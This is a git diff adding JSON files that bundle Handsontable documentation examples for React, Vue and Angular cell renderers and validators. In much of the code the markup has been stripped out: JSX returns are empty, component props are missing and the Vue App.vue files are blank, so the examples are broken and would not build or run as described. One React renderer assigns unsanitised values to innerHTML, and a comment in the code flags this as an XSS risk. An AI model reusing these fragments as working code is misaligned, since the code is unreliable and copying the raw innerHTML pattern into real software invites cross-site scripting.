    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState, useContext, MouseEvent, createContext } from 'react';\nimport { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ntype RendererProps = {\n TD?: HTMLTableCellElement;\n value?: string | number;\n row?: number;\n col?: number;\n cellProperties?: Handsontable.CellProperties;\n};\n\n// a component\nconst HighlightContext = createContext(false);\n\n// a renderer component\nfunction CustomRenderer(props: RendererProps) {\n const darkMode = useContext(HighlightContext);\n\n if (!props.TD) return;\n\n if (darkMode) {\n props.TD.className = 'dark';\n } else {\n props.TD.className = '';\n }\n\n return
    {props.value}
    ;\n}\n\nconst ExampleComponent = () => {\n const [darkMode, setDarkMode] = useState(false);\n\n const toggleDarkMode = (event: MouseEvent) => {\n setDarkMode((event.target as HTMLInputElement).checked);\n };\n\n return (\n \n
    \n
    \n \n
    \n
    \n \n \n     \n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"#example2 .handsontable td.dark {\n background: #000 !important;\n color: #fff !important;\n}\n\n#example2 .handsontable td {\n background: #fff !important;\n color: #000 !important;\n}"},"docsPath":"guides/cell-functions/cell-renderer/react/example2.tsx","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example2","exampleTitle":"Use the renderer component within React's Context","docPermalink":"/cell-renderer","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example3.tsx.json new file mode 100644 index 00000000..bdc192ff --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n {\n event.preventDefault();\n });\n\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n },\n },\n ]}\n colHeaders={true}\n rowHeights={55}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-renderer/react/example3.tsx","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example3","exampleTitle":"Declare a custom renderer as a function","docPermalink":"/cell-renderer","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example4.tsx.json new file mode 100644 index 00000000..d76a5af1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover: '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title: 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title: 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n function safeHtmlRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue,\n _cellProperties: Handsontable.CellProperties\n ) {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n }\n\n function coverRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue,\n _cellProperties: Handsontable.CellProperties\n ) {\n const img = document.createElement('img');\n\n img.src = value;\n\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n }\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-renderer/react/example4.tsx","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example5.tsx.json new file mode 100644 index 00000000..2105f3b6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example5.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in cells · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, MouseEvent } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n let isChecked = false;\n\n function customRenderer(this: Handsontable, _instance: Handsontable, td: HTMLTableCellElement) {\n textRenderer.apply(this, arguments as any);\n\n if (isChecked) {\n td.style.backgroundColor = 'yellow';\n } else {\n td.style.backgroundColor = 'rgba(255,255,255,0.1)';\n }\n }\n\n const exampleContainerMouseupCallback = (event: MouseEvent) => {\n const hot = hotRef.current?.hotInstance;\n\n if (\n (event.target as HTMLInputElement).nodeName == 'INPUT' &&\n (event.target as HTMLInputElement).className == 'checker'\n ) {\n isChecked = !(event.target as HTMLInputElement).checked;\n hot?.render();\n }\n };\n\n return (\n
    exampleContainerMouseupCallback(...args)}>\n Bold and Beautiful';\n\n case 1:\n return `Some checkbox`;\n\n default:\n return '';\n }\n }}\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n
    \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-renderer/react/example5.tsx","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example5","exampleTitle":"Render custom HTML in cells","docPermalink":"/cell-renderer","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example6.tsx.json new file mode 100644 index 00000000..82b09d30 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__react__example6.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in header · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data = [\n { asset: 'Bitcoin', btcValue: 12.45, portfolioShare: 452 },\n { asset: 'Ethereum', btcValue: 3.82, portfolioShare: 268 },\n { asset: 'Solana', btcValue: 1.15, portfolioShare: 134 },\n { asset: 'Cardano', btcValue: 0.47, portfolioShare: 81 },\n { asset: 'Polkadot', btcValue: 0.29, portfolioShare: 65 },\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-renderer/react/example6.tsx","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example6","exampleTitle":"Render custom HTML in header","docPermalink":"/cell-renderer","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example1.vue.json new file mode 100644 index 00000000..9304ddbc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell renderer · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-renderer/vue/example1.vue","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-renderer","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example2.vue.json new file mode 100644 index 00000000..2ebae68b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell renderer · Use the renderer component within React's Context · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-renderer/vue/example2.vue","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example2","exampleTitle":"Use the renderer component within React's Context","docPermalink":"/cell-renderer","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example4.vue.json new file mode 100644 index 00000000..80bcc9f6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-renderer/vue/example4.vue","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example5.vue.json new file mode 100644 index 00000000..c5cc3e26 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example5.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in cells · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-renderer/vue/example5.vue","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example5","exampleTitle":"Render custom HTML in cells","docPermalink":"/cell-renderer","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example6.vue.json new file mode 100644 index 00000000..aeb79bbb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__vue__example6.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in header · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-renderer/vue/example6.vue","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example6","exampleTitle":"Render custom HTML in header","docPermalink":"/cell-renderer","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__angular__example1.ts.json new file mode 100644 index 00000000..d39e9d6b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell validator · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
